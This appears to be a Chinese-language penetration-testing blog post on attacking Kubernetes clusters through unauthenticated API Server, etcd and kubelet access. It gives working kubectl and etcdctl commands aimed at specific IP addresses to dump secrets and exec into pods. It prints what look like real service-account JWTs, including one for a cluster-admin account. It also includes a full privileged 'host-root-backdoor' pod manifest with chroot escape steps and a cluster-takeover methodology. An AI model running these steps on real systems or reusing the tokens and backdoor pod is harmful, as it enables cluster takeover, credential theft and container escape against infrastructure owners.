k8s攻防
2026-01-14 15:31:50

k8s 攻防

k8s架构参考 - https://www.cnblogs.com/yuy0ung/articles/19136743,讲的很透彻

image

image

未授权

API Server 未授权

API Server默认服务端口-8080, 64438080端口提供HTTP服务,没有认证与授权机制,6443端口同样提供HTTP服务,但支持认证和授权。

默认8080端口不启动,若开启会导致未授权。

使用kubectl利用

1
kubectl -s http://<target>:8080 get nodes

image

访问特定API获取token

访问/api/v1/namespaces/kube-system/secrets/来获取token

image

然后利用token6443端口做server去进一步渗透

1
kubectl --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IkFsOFNCY3huSVc2aElRNVJfX1NpbENZcG9ILWdtc25zb0JDNnN6SHVjcTQifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJhcmdvY2QtbWFuYWdlci1sb25nLWxpdmVkLXRva2VuIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImFyZ29jZC1tYW5hZ2VyIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQudWlkIjoiYmQwNzE2ZjktN2UzZS00NTFlLWIzOTktNDY4MTYxMzNhODAzIiwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOmFyZ29jZC1tYW5hZ2VyIn0.R9VGpWV_rexLuc8XP4CvLQ9ItnCsbbIoa1EYf0EeFlCSdXxTL4_5sIkciM9XLzaqR6IFjjWkt-LiK8iZFauraqlnWXHUCFv-KezopZoj4W919QvwKnEE_JZL6wrEXGj4S-9LwJYX6zZ-d9KLm_FI7_S3Mg9JeCIKEVVMqwU1cUuktddieyTwjBn-gFPZU7WqULRhJ6zN9ErwvOae7KadnckiMH7VznketE1PyoBjBVN3pT3ZJZtyrjNu8H4Ag5O7T-lRoIfVYN5JNfxvj8B9AeO8LHqL7MsO3W5fQhZr3S0k9CXE_hfQyAIWx42HbK4bUL0Tb7G606LeOF9d2uiRRA -s https://34.131.94.136:6443/ exec -n default -it demo123 -- bash

但可能目标配置,token只对特定的内网IP有效

image

获取Secrets资源

k8s中,secret对象用于存储密码,OAuth令牌等敏感信息,可以从中窃取其他服务的通信凭证

1
2
3
4
5
//列出secrets资源
kubectl -s http://34.100.182.227:8080/ get secrets --all-namespaces

//读指定的secrets
kubectl -s http://34.100.182.227:8080/ get secrets -n awi-system docker-cred -o yaml

image

base64解密.dockerconfigjson得到registry用户密码敏感信息

image

6443端口开放,若不使用凭证访问则会被服务器标记为system:anonymous用户,访问会是401

image

但是若配置不当,system:anonumous被误添加至集群管理员组cluster-admin,则也会发生未授权,导致集群失陷。

kubelet 未授权

image

etcd 未授权

k8s使用etcd存储数据,默认监听2379端口,若该端口暴露到公网且存在未授权访问,则可能导致敏感信息泄露,攻击者可以通过收集的凭证来尝试接管集群

获取敏感信息目录

1
./etcdctl --endpoints=https://192.168.3.131:2379 --insecure-skip-tls-verify get / --prefix --keys-only | grep /secrets

image

1
./etcdctl --endpoints=https://192.168.3.131:2379 --insecure-skip-tls-verify get /registry/secrets/kube-system/admin-token-wqz9l

image

可以拿到高权限cluster-admin集群管理员的token

1
eyJhbGciOiJSUzI1NiIsImtpZCI6IjU1a0o1YnJPRUIzZXExeW1NeXhka21PLVBzc18xT1l1SXBvb28xSm8yc0kifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJhZG1pbi10b2tlbi13cXo5bCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJhZG1pbiIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjAxOTMzZDIwLWI2Y2EtNGZiNC04MTBjLTU4N2E2YTFlNTAyYyIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTphZG1pbiJ9.ttsHU8viUVQMjMOsjlRmNGFdfKpcH-5tZV6hLvJa8NAS4iRWJcKmQLVyTlTtWIzPgST2YzvxGwArcwDutyvbhF19G-7CtsEA8ALBEa1OKBkstzk-bOyy1X7lVsfeuTBZP3fjIxMhunUZs8Ht6dCbqclnQvANrmQB_09PwGuTIU_3zHaZF6hV2r6uf_FkQbWMihupsaoJCdq7T1WRv1pcXxbeuentH07LVaJSVOhcXbP0EKqlNivdpLY1ktUzR4tzskbClSO4qZUtOILEz8H72ef6pBbmiiizH4XAkCx4LT-urSxU1Sa7EfLzBNUzvCJMHqwSJHfRz0GNHuf7kHZEJw#kubernetes.io/service-account-token

192.168.3.131API Server,可以直接用这个token

image

image

image

Kubeconfig & K8s Dashboard 未授权

参考 - https://www.cnblogs.com/yuy0ung/articles/19136743

命令执行

1
2
3
4
5
//列出所有node
kubectl -s http://34.100.182.227:8080/ get nodes

//带namespace列出所有pod
kubectl -s http://34.100.182.227:8080/ get pods -A

image

进入容器执行命令

1
2
3
4
5
6
7
8
//api server未授权时
kubectl -s http://34.100.182.227:8080/ exec --namespace=default -it demo123 -- bash

# 获取到kubeconfig文件时
kubectl --kubeconfig config --namespace=default exec -it demo123 -- bash

# 获取到高权限token时
kubectl --server=https://x.x.x.x:6443 --token="<token值>" --insecure-skip-tls-verify --namespace=default exec -it demo123 -- bash

创建恶意pod - 后门/逃逸

可以先看已经存在的容器是什么,再决定恶意pod使用什么容器,否则可能会出现容器拉不下来的情况

1
2
kubectl -s http://34.100.182.227:8080/ get pods --all-namespaces -A
kubectl -s http://34.100.182.227:8080/ -n default get pods demo123 -o yaml

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
apiVersion: v1
kind: Pod
metadata:
name: host-root-backdoor
namespace: kube-system
spec:
containers:
- name: test123
image: docker.io/library/nginx:latest #其他pod使用的镜像,不容易报错
command: ["/bin/sleep", "3600"]
volumeMounts:
- name: host-root
mountPath: /host
- name: host-proc
mountPath: /host/proc
securityContext:
privileged: true
volumes:
- name: host-root
hostPath:
path: / # 直接挂载宿主机根目录,方便逃逸
- name: host-proc
hostPath:
path: /proc
nodeName: awi-sam-gpu-master-6
tolerations:
- effect: NoSchedule
operator: Exists
- effect: NoExecute
operator: Exists
1
kubectl -s http://34.100.182.227:8080/ apply -f evilPod.yaml

成功创建

image

进入容器执行命令chroot /host /bin/shchroot /host /bin/bash逃逸即可

思考

思考了一下k8s集群渗透的通用思路

(1) 外网打点拿Shell –> 发现是docker容器 –> 逃逸,获取Node权限 -> 尝试从Node横向至Master节点

(2) 从外网打进内网后,发现内网有k8s服务,可能存在API Server/etcd等未授权/其他漏洞,尝试接管集群

参考文章 & 更多姿势


https://www.cnblogs.com/yuy0ung/articles/19136743

https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver - fake api server

https://blog.nsfocus.net/k0otkithack-k8s-in-a-k8s-way/

https://wiki.teamssix.com/CloudNative/Kubernetes/k8s-cluster-penetration.html

2026-01-14 15:31:50